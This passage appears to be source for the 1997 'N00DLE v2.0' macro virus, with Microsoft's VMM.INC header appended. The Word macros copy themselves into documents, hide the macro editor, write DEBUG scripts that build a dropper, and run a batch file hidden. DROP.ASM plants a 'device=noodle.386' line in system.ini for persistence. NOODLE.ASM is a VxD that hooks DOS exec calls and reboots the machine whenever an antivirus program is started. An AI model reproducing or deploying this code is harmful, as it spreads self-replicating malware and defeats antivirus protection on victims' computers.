Print #1, "E 0F80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0F90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0FA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0FB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0FC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0FD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0FE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0FF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 10A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 10B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 10C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 10D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 10E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 10F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 11A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 11B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 11C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 11D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 11E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 11F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 12A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 12B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 12C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 12D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 12E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 12F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1300 33 DB 33 F6 B8 00 00 C3 06 4E 30 30 44 4C 45 00"
Print #1, "E 1310 00 0A 4E 4F 4F 44 4C 45 5F 44 44 42 01 00 00"
Print #1, "RCX"
Print #1, "121F"
Print #1, "W"
Print #1, "Q"
Close #1

Open "c:\drop.scr" For Output As #1
Print #1, "N DROP.COM"
Print #1, "E 0100 B8 02 3D BA 99 01 CD 21 73 17 B8 02 3D BA AF 01"
Print #1, "E 0110 CD 21 73 0D B8 02 3D BA C9 01 CD 21 73 03 EB 75"
Print #1, "E 0120 90 93 B8 02 42 33 C9 99 CD 21 A3 97 01 B8 00 42"
Print #1, "E 0130 33 C9 99 CD 21 B4 3F B9 01 00 BA F0 01 CD 21 0B"
Print #1, "E 0140 C0 74 4E 80 3E F0 01 6E 75 EB B4 3F B9 02 00 BA"
Print #1, "E 0150 F0 01 CD 21 81 3E F0 01 68 5D 75 D9 B8 01 42 33"
Print #1, "E 0160 C9 99 CD 21 50 29 06 97 01 8B 0E 97 01 B4 3F BA"
Print #1, "E 0170 F0 01 CD 21 B8 00 42 33 C9 5A CD 21 B4 40 B9 13"
Print #1, "E 0180 00 BA DD 01 CD 21 B4 40 8B 0E 97 01 BA F0 01 CD"
Print #1, "E 0190 21 B4 3E CD 21 CD 20 00 00 63 3A 5C 77 69 6E 64"
Print #1, "E 01A0 6F 77 73 5C 73 79 73 74 65 6D 2E 69 6E 69 00 63"
Print #1, "E 01B0 3A 5C 77 69 6E 64 6F 77 73 2E 30 30 30 5C 73 79"
Print #1, "E 01C0 73 74 65 6D 2E 69 6E 69 00 63 3A 5C 77 69 6E 39"
Print #1, "E 01D0 35 5C 73 79 73 74 65 6D 2E 69 6E 69 00 0D 0A 64"
Print #1, "E 01E0 65 76 69 63 65 3D 6E 6F 6F 64 6C 65 2E 33 38 36"
Print #1, "E 01F0 00 00"     
Print #1, "RCX"
Print #1, "F2"
Print #1, "W"
Print #1, "Q"
Close #1

ChDir "c:\"
Shell "error.bat", 0
NoDrop:
End Sub

����������������������������������������������������������������������������Ŀ
� Macro: AutoClose                                                           �
������������������������������������������������������������������������������
Sub MAIN
On Error Goto z
Open "c:\error.bat" For Input As #1
Close #1
Kill "c:\error.bat"
z:
On Error Goto e
If ChkInst = 1 Then Goto w

ToolsMacro .Name = "eldoon", '.Bearbeiten <- I don't know how to translate 
                             '               this!!! (edit?)
Insert "FileSaveAs .Name = FileName$(), .Format = 1"
'DokumentSchlie�en 1  ??? perhaps closedocument (?)

w:
d$ = FileName$()
f$ = d$ + ":AutoOpen"
MacroCopy "Global:noodle", f$
f$ = d$ + ":AutoClose"
MacroCopy "Global:AutoClose", f$
f$ = d$ + ":ToolsMacro"
MacroCopy "Global:ToolsMacro", f$

ToolsMacro .Name = "eldoon", .run
e:
End Sub

Function ChkInst    'from nj
m$ = "eldoon"
ChkInst = 0
If CountMacros(0) > 0 Then
For i = 1 To CountMacros(0)
If MacroName$(i, 0) = m$ Then
ChkInst = 1
EndIf
Next i
EndIf
End Function

����������������������������������������������������������������������������Ŀ
� Macro: ToolsMacro                                                          �
������������������������������������������������������������������������������
Sub MAIN
'            N00DLE v2.0 - Written by Reptile - 1997             
End Sub

����������������������������������������������������������������������������Ŀ
� File: DROP.ASM                                                             �
������������������������������������������������������������������������������
.286

.model tiny

.code
org 100h
start:
;get the windoze path
mov ax,3d02h    ;c:\windows\system.ini?
lea dx,sysini1
int 21h
jnc w

mov ax,3d02h    ;c:\windows.000\system.ini?
lea dx,sysini2
int 21h
jnc w

mov ax,3d02h    ;c:\win95\system.ini?
lea dx,sysini3
int 21h
jnc w

e:jmp exit

;drop 'vdr.386,' into system.ini
w:
xchg ax,bx

mov ax,4202h    ;get file size
xor cx,cx
cwd
int 21h
mov fsize,ax

mov ax,4200h
xor cx,cx
cwd
int 21h

rfile:
mov ah,3fh  ;smaller than repne scasb
mov cx,1
lea dx,rbuf
int 21h
or ax,ax
je cfile
cmp rbuf,'n'   ;[386E'n'h]
jne rfile

mov ah,3fh
mov cx,2
lea dx,rbuf
int 21h
cmp word ptr rbuf,']h'  ;[386En'h]'
jne rfile

mov ax,4201h    ;save current offset
xor cx,cx
cwd
int 21h
push ax

sub fsize,ax ;read the second part of the file
mov cx,fsize
mov ah,3fh
lea dx,rbuf
int 21h

mov ax,4200h    ;go back
xor cx,cx
pop dx
int 21h

mov ah,40h  ;insert ...
mov cx,19
lea dx,dropstring
int 21h

mov ah,40h  ;write the second part of the file
mov cx,fsize
lea dx,rbuf
int 21h

cfile:
mov ah,3eh
int 21h

exit:
int 20h

fsize dw ?  ;filesize

sysini1 db 'c:\windows\system.ini',0
sysini2 db 'c:\windows.000\system.ini',0
sysini3 db 'c:\win95\system.ini',0

dropstring db 0dh,0ah,'device=noodle.386'
rbuf db ?   ;readbuffer

drop db 0
ends
end start

����������������������������������������������������������������������������Ŀ
� File: NOODLE.ASM                                                           �
������������������������������������������������������������������������������
Comment @
N00DLE - a simple retro vxd

Compiling:
masm5 -p -w2 noodle.asm
link386 noodle.obj,noodle.386,,,noodle.def
addhdr noodle.386
@

.386p

.xlist
include vmm.inc
.list

Declare_Virtual_Device Noodle, 3, 0, Noodle_Control, Undefined_Device_Id, \
Undefined_Init_Order,,

VxD_Locked_Data_Seg
exec db 'win.com'
     db 9 dup (0)
execl dw 8
chkbt dw ? 
VxD_Locked_Data_Ends

Vxd_Locked_Code_Seg
BeginProc Noodle_Device_Init
mov eax,21h   
mov esi,offset32 int_21hnd
VMMcall Hook_V86_Int_Chain
clc
ret
EndProc Noodle_Device_Init

BeginProc int_21hnd
cmp [ebp.Client_AX],4b00h   ;exec  
jne reflect_21h

Push_Client_State          
VMMcall Begin_Nest_Exec    

movzx edx,[ebp.Client_DS]
shl edx,4
movzx eax,[ebp.Client_DX]
add edx,eax
add edx,[ebx.CB_High_Linear]

push edi
mov edi,edx       
mov ecx,128
mov al,0    ;(?)
repne scasb                            
dec edi

w1: dec edi
cmp byte ptr [edi],'\'  ;from JHB
je short w2
cmp byte ptr [edi],'/'
je short w2
cmp byte ptr [edi],':'
je short w2
cmp edi,edx
jb short w2
jmp short w1

w2: inc edi 
mov esi,offset32 [exec]
movzx ecx,[execl]
repe cmpsb
pop edi
jz short exit           

mov eax,3d22h   ;open file
vxdint 21h
jc short exit
xchg eax,ebx

mov eax,4200h   ;goto offset 28
xor ecx,ecx
mov edx,28
vxdint 21h

mov eax,3f00h   
mov ecx,2
lea edx,chkbt   ;WW
vxdint 21h

cmp word ptr [chkbt],5757h  ;is it F/WIN v4.02?
jne short cfile   ;no: close file

mov al,0feh ;else reboot...
out 64h,al

cfile:
mov eax,3e00h
vxdint 21h

exit:
VMMcall End_Nest_Exec    
Pop_Client_State         

reflect_21h:      
stc
ret
EndProc int_21hnd

BeginProc Noodle_Control
Control_Dispatch Init_Complete,Noodle_Device_Init
clc  
ret
EndProc Noodle_Control
Vxd_Locked_Code_Ends

Vxd_Real_Init_Seg
BeginProc Noodle_Real_Mode_Init
xor bx,bx       
xor si,si       
mov ax,Device_Load_Ok
ret
EndProc Noodle_Real_Mode_Init
Vxd_Real_Init_Ends
End 

����������������������������������������������������������������������������Ŀ
� File: NOODLE.DEF                                                           �
������������������������������������������������������������������������������

LIBRARY Noodle
DESCRIPTION 'N00DLE'
EXETYPE	 DEV386
SEGMENTS
	_LTEXT PRELOAD NONDISCARDABLE
	_LDATA PRELOAD NONDISCARDABLE
	_ITEXT CLASS 'ICODE' DISCARDABLE
	_IDATA CLASS 'ICODE' DISCARDABLE
	_TEXT  CLASS 'PCODE' NONDISCARDABLE
	_DATA  CLASS 'PCODE' NONDISCARDABLE
EXPORTS     NOODLE_DDB  @1

����������������������������������������������������������������������������Ŀ
� File: VMM.INC                                                              �
������������������������������������������������������������������������������
;******************************************************************************
;
;   (C) Copyright MICROSOFT Corp., 1988-1990
;
;   Title:	VMM.INC - Include file for Virtual Machine Manager
;
;   Version:	1.00
;
;   Date:	05-May-1988
;
;   Author:	RAL
;
;------------------------------------------------------------------------------
;
;   Change log:
;
;      DATE	REV		    DESCRIPTION
;   ----------- --- -----------------------------------------------------------
;   05-May-1988 RAL Original
;
;==============================================================================


; NON Windows/386 Virtual Device sources can include this file to get some
; useful equates by declaring the symbol "Not_VxD"  If this symbol is defined,
; then everything that has to do with the specifics of the 32 bit environment
; for virtual devices is removed.  Useful equates include:  device ID's, pushad
; structure, BeginDoc/EndDoc/BeginMsg/EndMsg equates, page table equates, etc.



False	EQU	0
True	EQU	NOT False

;
;   These null macros are recognized by a utility program that produces
;   documentation files.
;
BeginDoc EQU <>
EndDoc EQU <>

BeginMsg EQU <>
EndMsg EQU <>


BeginDoc
;******************************************************************************
;
;			EQUATES FOR REQUIRED DEVICES
;
;==============================================================================

Undefined_Device_ID		EQU	00000h
VMM_Device_ID			EQU	00001h	; Used for dynalink table
Debug_Device_ID 		EQU	00002h
VPICD_Device_ID 		EQU	00003h
VDMAD_Device_ID 		EQU	00004h
VTD_Device_ID			EQU	00005h
V86MMGR_Device_ID		EQU	00006h
PageSwap_Device_ID		EQU	00007h
Parity_Device_ID		EQU	00008h
Reboot_Device_ID		EQU	00009h
VDD_Device_ID			EQU	0000Ah
VSD_Device_ID			EQU	0000Bh
VMD_Device_ID			EQU	0000Ch
VKD_Device_ID			EQU	0000Dh
VCD_Device_ID			EQU	0000Eh
VPD_Device_ID			EQU	0000Fh
BlockDev_Device_ID		EQU	00010h
VMCPD_Device_ID 		EQU	00011h
EBIOS_Device_ID 		EQU	00012h
BIOSXlat_Device_ID		EQU	00013h
VNETBIOS_Device_ID		EQU	00014h
DOSMGR_Device_ID		EQU	00015h
WINLOAD_Device_ID		EQU	00016h
SHELL_Device_ID 		EQU	00017h
VMPoll_Device_ID		EQU	00018h
VPROD_Device_ID 		EQU	00019h
DOSNET_Device_ID		EQU	0001Ah
VFD_Device_ID			EQU	0001Bh
VDD2_Device_ID			EQU	0001Ch	; Secondary display adapter
WINDEBUG_Device_ID		EQU	0001Dh
TSRLoad_Device_ID		EQU	0001Eh	; TSR instance utility ID
BiosHook_Device_ID		EQU	0001Fh	; Bios interrupt hooker VxD
Int13_Device_ID 		EQU	00020h
PageFile_Device_ID		EQU	00021h	; Paging File device
SCSI_Device_ID			EQU     00022h  ; SCSI device
MCA_POS_Device_ID		EQU     00023h  ; MCA_POS device
SCSIFD_Device_ID		EQU	00024h	; SCSI FastDisk device
VPEND_Device_ID 		EQU	00025h	; Pen device
APM_Device_ID			EQU	00026h	; Power Management device

;
;   Initialization order equates.  Devices are initialized in order from
;   LOWEST to HIGHEST.	If 2 or more devices have the same initialization
;   order value, then they are initialized in order of occurance, so a
;   specific order is not guaranteed.  Holes have been left to allow maximum
;   flexibility in ordering devices.
;

VMM_Init_Order			EQU	000000000h
APM_Init_Order			EQU	001000000h
Debug_Init_Order		EQU	004000000h
BiosHook_Init_Order		EQU	006000000h
VPROD_Init_Order		EQU	008000000h
VPICD_Init_Order		EQU	00C000000h
VTD_Init_Order			EQU	014000000h
PageFile_Init_Order		EQU	018000000h
PageSwap_Init_Order		EQU	01C000000h
Parity_Init_Order		EQU	020000000h
Reboot_Init_Order		EQU	024000000h
EBIOS_Init_Order		EQU	026000000h
VDD_Init_Order			EQU	028000000h
VSD_Init_Order			EQU	02C000000h
VCD_Init_Order			EQU	030000000h
VMD_Init_Order			EQU	034000000h
VKD_Init_Order			EQU	038000000h
VPD_Init_Order			EQU	03C000000h
BlockDev_Init_Order		EQU	040000000h
MCA_POS_Init_Order		EQU	041000000h
SCSIFD_Init_Order		EQU	041400000h
SCSIMaster_Init_Order	        EQU     041800000h
Int13_Init_Order		EQU	042000000h
VFD_Init_Order			EQU	044000000h
VMCPD_Init_Order		EQU	048000000h
BIOSXlat_Init_Order		EQU	050000000h
VNETBIOS_Init_Order		EQU	054000000h
DOSMGR_Init_Order		EQU	058000000h
DOSNET_Init_Order		EQU	05C000000h
WINLOAD_Init_Order		EQU	060000000h
VMPoll_Init_Order		EQU	064000000h

Undefined_Init_Order		EQU	080000000h

WINDEBUG_Init_Order		EQU	081000000h
VDMAD_Init_Order		EQU	090000000h
V86MMGR_Init_Order		EQU	0A0000000h

Undef_Touch_Mem_Init_Order	EQU	0A8000000h  ; Device that must touch
						    ; memory in 1st Mb at
						    ; crit init (after V86mmgr)
SHELL_Init_Order		EQU	0B0000000h
EndDoc

;******************************************************************************
;
;   Macro to cause a delay in between I/O accesses to the same device.
;
;------------------------------------------------------------------------------

IO_Delay    macro
jmp $+2
ENDM

Pushad_Struc	STRUC
Pushad_EDI	dd	?		; Client's EDI
Pushad_ESI	dd	?		; Client's ESI
Pushad_EBP	dd	?		; Client's EBP
Pushad_ESP	dd	?		; ESP at pushall
Pushad_EBX	dd	?		; Client's EBX
Pushad_EDX	dd	?		; Client's EDX
Pushad_ECX	dd	?		; Client's ECX
Pushad_EAX	dd	?		; Client's EAX
Pushad_Struc	ENDS



IFNDEF Not_VxD

??_CUR_CODE_SEG = 0


??_CODE  = 1
??_ICODE = 2
??_LCODE = 3
??_RCODE = 4

?_CODE	equ <(??_CUR_CODE_SEG MOD 8) - ??_CODE>
?_ICODE equ <(??_CUR_CODE_SEG MOD 8) - ??_ICODE>
?_LCODE equ <(??_CUR_CODE_SEG MOD 8) - ??_LCODE>
?_RCODE equ <(??_CUR_CODE_SEG MOD 8) - ??_RCODE>

;
;  SEGMENT definitions and order
;

;*	32 Bit locked code
_LTEXT		SEGMENT DWORD USE32 PUBLIC 'CODE'
_LTEXT		ENDS

;*	32 Bit code
_TEXT		SEGMENT DWORD USE32 PUBLIC 'PCODE'
_TEXT		ENDS

;*	32 Bit initialization code
_ITEXT		SEGMENT DWORD USE32 PUBLIC 'ICODE'
_ITEXT		ENDS

;*	Contains 32 Bit locked data
_LDATA		SEGMENT DWORD PUBLIC 'CODE'
_LDATA		ENDS

;*	Contains 32 Bit data
_DATA		SEGMENT DWORD PUBLIC 'PCODE'
_DATA		ENDS

;*	Contains 32 Bit initialization data
_IDATA		SEGMENT DWORD PUBLIC 'ICODE'
_IDATA		ENDS

;*	Real Mode initialization code/data for devices
_RCODE		SEGMENT WORD USE16 PUBLIC 'RCODE'
_RCODE		ENDS


_LGROUP GROUP _LTEXT, _LDATA
_PGROUP GROUP _TEXT, _DATA
_IGROUP GROUP _ITEXT, _IDATA

	ASSUME CS:FLAT, DS:FLAT, ES:FLAT, SS:FLAT


OFFSET32 EQU <OFFSET FLAT:>


BeginDoc
;==============================================================================
; The following macros are used in defining the routines
;   in a VxD which are going to be registered with VMM as callable entry
;   points. Once registered, the entry points can be called by any other
;   devices via the "VxDCall" macro, defined below. In the comments below,
;   replace "VxD" with the appropriate device name.
;
;*******
;   In the VxD.INC file, put the following lines, replacing <function_name>
;	with an appropriate name describing the function of the routine.
;
;	Begin_Service_Table VxD[,<segname>]
;	VxD_Service <function_name>[,<local segname>]
;	VxD_Service <function_name>[,<local segname>]
;		. . .
;	VxD_Service <function_name>[,<local segname>]
;	End_Service_Table   VxD[,<segname>]
;
;   Note that <segname> is an optional argument and, if specified, the
;	table is put in the segment defined by the macro "yyy_Data_Seg",
;	where yyy=segname. Otherwise the segment is defined by the
;	"VxD_Data_Seg" macro, defined below.
;   Note that <local segname> is an optional argument and, if specified,
;	the procedure's segment is defined by the macro "zzz_Code_Seg",
;	where zzz=segname. Otherwise the segment is defined by the
;	"VxD_Code_Seg" macro, defined below.
;
;*******
; One VxD module should have the following in order to define the entry points:
;Create_VxD_Service_Table = 1			; Only in module where table is
;	INCLUDE     VxD.INC			; Include the table definition
;
;*******
; All modules that want to call the services defined in the table should include
;   VxD.INC, but not define the label "Create_VxD_Service_Table". This
;   will define the service names to be used with the VxDCall macro.
;
EndDoc

Begin_Service_Table MACRO Device_Name, Def_Segment
IFB <Def_Segment>
	BST2 Device_Name, VxD
ELSE
	BST2 Device_Name, Def_Segment
ENDIF
	ENDM


BST2 MACRO Device_Name, Def_Segment

Num_&Device_Name&_Services = 0

IFDEF Create_&Device_Name&_Service_Table
Def_Segment&_LOCKED_DATA_SEG
Device_Name&_Service_Table LABEL DWORD

Device_Name&_Service MACRO Procedure, Local_Seg, Condition
LOCAL $&&Procedure
  IFNB <Condition>
  $&&Procedure MACRO extern
    IFDEF &Condition
      IFNB <extern>
	EXTRN	@&&Procedure:NEAR
      ELSE
	dd	OFFSET32 @&&Procedure
      ENDIF
    ELSE
      IFB <extern>
      dd      0
      ENDIF
    ENDIF
    ENDM
  ENDIF

  IFDIFI <Procedure>, <RESERVED>
    PUBLIC {body}amp;&Procedure
    IF1
    {body}amp;&Procedure LABEL DWORD
    ENDIF
    IFDIFI <Local_Seg>, <LOCAL>
	IFNB <Local_Seg>
Local_Seg&&_SEG
	ELSE
Def_Segment&_CODE_SEG
	ENDIF
	IFNB <Condition>
	$&&Procedure extern
	ELSE
	EXTRN	@&&Procedure:NEAR
	ENDIF
	IFNB <Local_Seg>
Local_Seg&&_ENDS
	ELSE
Def_Segment&_CODE_ENDS
	ENDIF
    ENDIF
	IFNB <Condition>
	$&&Procedure
	ELSE
	dd	OFFSET32 @&&Procedure
	ENDIF
	Procedure = (Device_Name&_Device_ID SHL 16) + Num_&Device_Name&_Services
  ELSE
	dd  0
  ENDIF
	Num_&Device_Name&_Services = Num_&Device_Name&_Services + 1
  IFNB <Condition>
    Purge $&&Procedure
  ENDIF
	ENDM

ELSE

Device_Name&_Service MACRO Procedure
  IFDIFI <Procedure>, <RESERVED>
	Procedure = (Device_Name&_Device_ID SHL 16) + Num_&Device_Name&_Services
  ENDIF
	Num_&Device_Name&_Services = Num_&Device_Name&_Services + 1
	ENDM

ENDIF
	ENDM

;------------------------------------------------------------------------------

End_Service_Table MACRO Device_Name, Def_Segment

	PURGE	Device_Name&_Service

IFDEF Create_&Device_Name&_Service_Table
IFB <Def_Segment>
VxD_LOCKED_DATA_ENDS
ELSE
Def_Segment&_LOCKED_DATA_ENDS
ENDIF
ENDIF

	ENDM


;******************************************************************************
;
;   Dword_Align -- Aligns code to dword boundry by inserting nops
;
;------------------------------------------------------------------------------

Dword_Align MACRO Seg_Name
	LOCAL segn
IFNB <Seg_Name>
	segn equ Seg_Name
ELSE
IFE ?_CODE
	segn equ <_TEXT>
ELSE
IFE ?_ICODE
	segn equ <_ITEXT>
ELSE
IFE ?_LCODE
	segn equ <_LTEXT>
ELSE
.err Dword_Align not supported
ENDIF
ENDIF
ENDIF
ENDIF
IF (($-OFFSET segn:0) MOD 4)
db 4 - (($-OFFSET segn:0) MOD 4) DUP (90h)
ENDIF
	    ENDM


BeginDoc
;******************************************************************************
;
;   Fatal_Error
;
;   DESCRIPTION:
;	This macro is used to crash Windows/386 when an unrecoverable error
;	is detected.  If Msg_Ptr is ommitted then no error message will be
;	displayed, otherwise Msg_Ptr is the address
;	when the
;
;   PARAMETERS:
;	Msg_Ptr (OPTIONAL) - Points to an ASCIIZ string to display.
;
;   EXIT:
;	To DOS (hopefully).  This macro never returns.
;
;==============================================================================
EndDoc

Fatal_Error MACRO Msg_Ptr, Exit_Flags
	pushad
IFB <Msg_Ptr>
	xor	esi, esi
ELSE
	mov	esi, Msg_Ptr
IFB <Exit_Flags>
	xor	eax, eax
ELSE
	mov	eax, Exit_Flags
ENDIF
ENDIF
	VMMcall Fatal_Error_Handler
	ENDM

EF_Hang_On_Exit     EQU     1h


;******************************************************************************
;==============================================================================
;------------------------------------------------------------------------------

BeginDoc
;******************************************************************************
;   The following are control block offsets of items that can be of interest
;	to VxDs.
;*******
; VM status indicates globally interesting VM states
CB_VM_Status		EQU	DWORD PTR 00h

VMStat_Exclusive	EQU	000000000000000000001b	; VM is exclusive mode
VMStat_Exclusive_Bit	EQU	0
VMStat_Background	EQU	000000000000000000010b	; VM runs in background
VMStat_Background_Bit	EQU	1
VMStat_Creating 	EQU	000000000000000000100b	; In process of creating
VMStat_Creating_Bit	EQU	2
VMStat_Suspended	EQU	000000000000000001000b	; VM not scheduled
VMStat_Suspended_Bit	EQU	3
VMStat_Not_Executeable	EQU	000000000000000010000b	; VM partially destroyed
VMStat_Not_Executeable_Bit  EQU 4
VMStat_PM_Exec		EQU	000000000000000100000b	; Currently in PM app
VMStat_PM_Exec_Bit	EQU	5
VMStat_PM_App		EQU	000000000000001000000b	; PM app present in VM
VMStat_PM_App_Bit	EQU	6
VMStat_PM_Use32 	EQU	000000000000010000000b	; PM app is 32-bit
VMStat_PM_Use32_Bit	EQU	7
VMStat_VxD_Exec 	EQU	000000000000100000000b	; Call from VxD
VMStat_VxD_Exec_Bit	EQU	8
VMStat_High_Pri_Back	EQU	000000000001000000000b	; High pri background
VMStat_High_Pri_Back_Bit    EQU 9
VMStat_Blocked		EQU	000000000010000000000b	; Blocked on semaphore
VMStat_Blocked_Bit	EQU	0Ah
VMStat_Awakening	EQU	000000000100000000000b	; Woke up after blocked
VMStat_Awakening_Bit	EQU	0Bh
VMStat_PageableV86	EQU	000000001000000000000b	; part of V86 is pageable (PM app)
VMStat_PageableV86Bit	EQU	0Ch
VMStat_V86IntsLocked	EQU	000000010000000000000b	; Rest of V86 is locked
VMStat_V86IntsLockedBit EQU	0Dh			;  regardless of pager type
VMStat_TS_Sched 	EQU	000000100000000000000b	; Scheduled by time-slicer
VMStat_TS_Sched_Bit	EQU	0Eh
VMStat_Idle		EQU	000001000000000000000b	; VM has released time
VMStat_Idle_Bit 	EQU	0Fh			; slice
VMStat_Closing		EQU	000010000000000000000b	; Close_VM called for VM
VMStat_Closing_Bit	EQU	10h

VMStat_Use32_Mask	EQU	VMStat_PM_Use32 OR VMStat_VxD_Exec


;*******
; Add this value to a V86 linear address to get address of VM's memory in
;	the VMM linear address space
CB_High_Linear		EQU	DWORD PTR 04h

;*******
CB_Client_Pointer	EQU	DWORD PTR 08h

CB_VMID 		EQU	DWORD PTR 0Ch

;
;   Equates for protected mode application control blocks
;
PMCB_Flags		EQU	DWORD PTR 00h
PMCB_Parent		EQU	DWORD PTR 04h
EndDoc

;******************************************************************************
;			    V M M   S E R V I C E S
;******************************************************************************

Begin_Service_Table VMM, VMM

VMM_Service	Get_VMM_Version, LOCAL		; MUST REMAIN SERVICE 0!

VMM_Service	Get_Cur_VM_Handle
VMM_Service	Test_Cur_VM_Handle
VMM_Service	Get_Sys_VM_Handle
VMM_Service	Test_Sys_VM_Handle
VMM_Service	Validate_VM_Handle

VMM_Service	Get_VMM_Reenter_Count
VMM_Service	Begin_Reentrant_Execution
VMM_Service	End_Reentrant_Execution

VMM_Service	Install_V86_Break_Point
VMM_Service	Remove_V86_Break_Point
VMM_Service	Allocate_V86_Call_Back
VMM_Service	Allocate_PM_Call_Back

VMM_Service	Call_When_VM_Returns


VMM_Service	Schedule_Global_Event
VMM_Service	Schedule_VM_Event
VMM_Service	Call_Global_Event
VMM_Service	Call_VM_Event
VMM_Service	Cancel_Global_Event
VMM_Service	Cancel_VM_Event
VMM_Service	Call_Priority_VM_Event
VMM_Service	Cancel_Priority_VM_Event

VMM_Service	Get_NMI_Handler_Addr
VMM_Service	Set_NMI_Handler_Addr
VMM_Service	Hook_NMI_Event

VMM_Service	Call_When_VM_Ints_Enabled
VMM_Service	Enable_VM_Ints
VMM_Service	Disable_VM_Ints

VMM_Service	Map_Flat
VMM_Service	Map_Lin_To_VM_Addr

;
;   Scheduler services
;
VMM_Service	Adjust_Exec_Priority
VMM_Service	Begin_Critical_Section
VMM_Service	End_Critical_Section
VMM_Service	End_Crit_And_Suspend
VMM_Service	Claim_Critical_Section
VMM_Service	Release_Critical_Section
VMM_Service	Call_When_Not_Critical
VMM_Service	Create_Semaphore
VMM_Service	Destroy_Semaphore
VMM_Service	Wait_Semaphore
VMM_Service	Signal_Semaphore
VMM_Service	Get_Crit_Section_Status
VMM_Service	Call_When_Task_Switched
VMM_Service	Suspend_VM
VMM_Service	Resume_VM
VMM_Service	No_Fail_Resume_VM
VMM_Service	Nuke_VM
VMM_Service	Crash_Cur_VM

VMM_Service	Get_Execution_Focus
VMM_Service	Set_Execution_Focus
VMM_Service	Get_Time_Slice_Priority
VMM_Service	Set_Time_Slice_Priority
VMM_Service	Get_Time_Slice_Granularity
VMM_Service	Set_Time_Slice_Granularity
VMM_Service	Get_Time_Slice_Info
VMM_Service	Adjust_Execution_Time
VMM_Service	Release_Time_Slice
VMM_Service	Wake_Up_VM
VMM_Service	Call_When_Idle

VMM_Service	Get_Next_VM_Handle

;
;   Time-out and system timer services
;
VMM_Service	Set_Global_Time_Out
VMM_Service	Set_VM_Time_Out
VMM_Service	Cancel_Time_Out
VMM_Service	Get_System_Time
VMM_Service	Get_VM_Exec_Time

VMM_Service	Hook_V86_Int_Chain
VMM_Service	Get_V86_Int_Vector
VMM_Service	Set_V86_Int_Vector
